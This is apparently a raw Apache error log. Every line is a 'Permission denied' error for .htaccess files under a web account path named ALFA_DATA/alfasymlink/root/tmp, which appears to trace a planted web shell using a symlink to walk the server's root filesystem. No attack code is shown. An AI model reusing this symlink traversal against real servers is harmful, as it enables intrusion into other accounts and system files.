[Sat Oct 24 18:12:08.745202 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Sat Oct 24 18:12:08.745214 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Sat Oct 24 18:12:08.745234 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Sat Oct 24 18:12:08.745253 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
[Sat Oct 24 18:12:08.745265 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Sat Oct 24 18:12:08.745292 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Sat Oct 24 18:12:08.745303 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Sat Oct 24 18:12:08.745327 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Sat Oct 24 18:12:08.745375 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sat Oct 24 18:12:08.745393 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Sat Oct 24 18:12:08.745414 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Sat Oct 24 18:12:08.745437 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Sat Oct 24 18:12:08.745460 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Sat Oct 24 18:12:08.745476 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Sat Oct 24 18:12:08.745510 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Sat Oct 24 18:12:08.745550 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sat Oct 24 18:12:08.745566 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sat Oct 24 18:12:08.745584 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Sat Oct 24 18:12:08.745600 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Sat Oct 24 18:12:08.745612 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Sat Oct 24 18:12:08.745630 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sat Oct 24 18:12:08.745644 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Sat Oct 24 18:12:08.745655 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Sat Oct 24 18:12:08.745666 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
[Sat Oct 24 18:12:08.745678 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Sat Oct 24 18:12:08.745701 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Sat Oct 24 18:12:08.745765 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Sat Oct 24 18:12:08.745782 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Sat Oct 24 18:12:08.745823 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Sat Oct 24 18:12:08.745844 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Sat Oct 24 18:12:08.745857 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Sat Oct 24 18:12:08.745882 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Sat Oct 24 18:12:08.745902 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Sat Oct 24 18:12:08.745939 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Sat Oct 24 18:12:08.745961 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Sat Oct 24 18:12:08.745984 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sat Oct 24 18:12:08.745997 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Sat Oct 24 18:12:08.746028 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Sat Oct 24 18:12:08.746046 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Sat Oct 24 18:12:08.746063 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
[Sat Oct 24 18:12:08.746081 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sat Oct 24 18:12:08.746110 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sat Oct 24 18:12:08.746123 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Sat Oct 24 18:12:08.746136 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sat Oct 24 18:12:08.746155 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Sat Oct 24 18:12:08.746173 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Sat Oct 24 18:12:08.746187 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Sat Oct 24 18:12:08.746198 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Sat Oct 24 18:12:08.746214 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Sat Oct 24 18:12:08.746227 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Sat Oct 24 18:12:08.746241 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Sat Oct 24 18:12:08.746268 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Sat Oct 24 18:12:08.746287 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
[Sat Oct 24 18:12:08.746311 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Sat Oct 24 18:12:08.746328 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Sat Oct 24 18:12:08.746351 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Sat Oct 24 18:12:08.746367 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Sat Oct 24 18:12:08.746378 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Sat Oct 24 18:12:08.746414 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Sat Oct 24 18:12:08.746434 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Sat Oct 24 18:12:08.746446 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Sat Oct 24 18:12:08.746470 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sat Oct 24 18:12:08.746481 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Sat Oct 24 18:12:08.746492 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Sat Oct 24 18:12:08.746502 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
[Sat Oct 24 18:12:08.746545 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Sat Oct 24 18:12:08.746558 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Sat Oct 24 18:12:08.746571 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sat Oct 24 18:12:08.746602 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
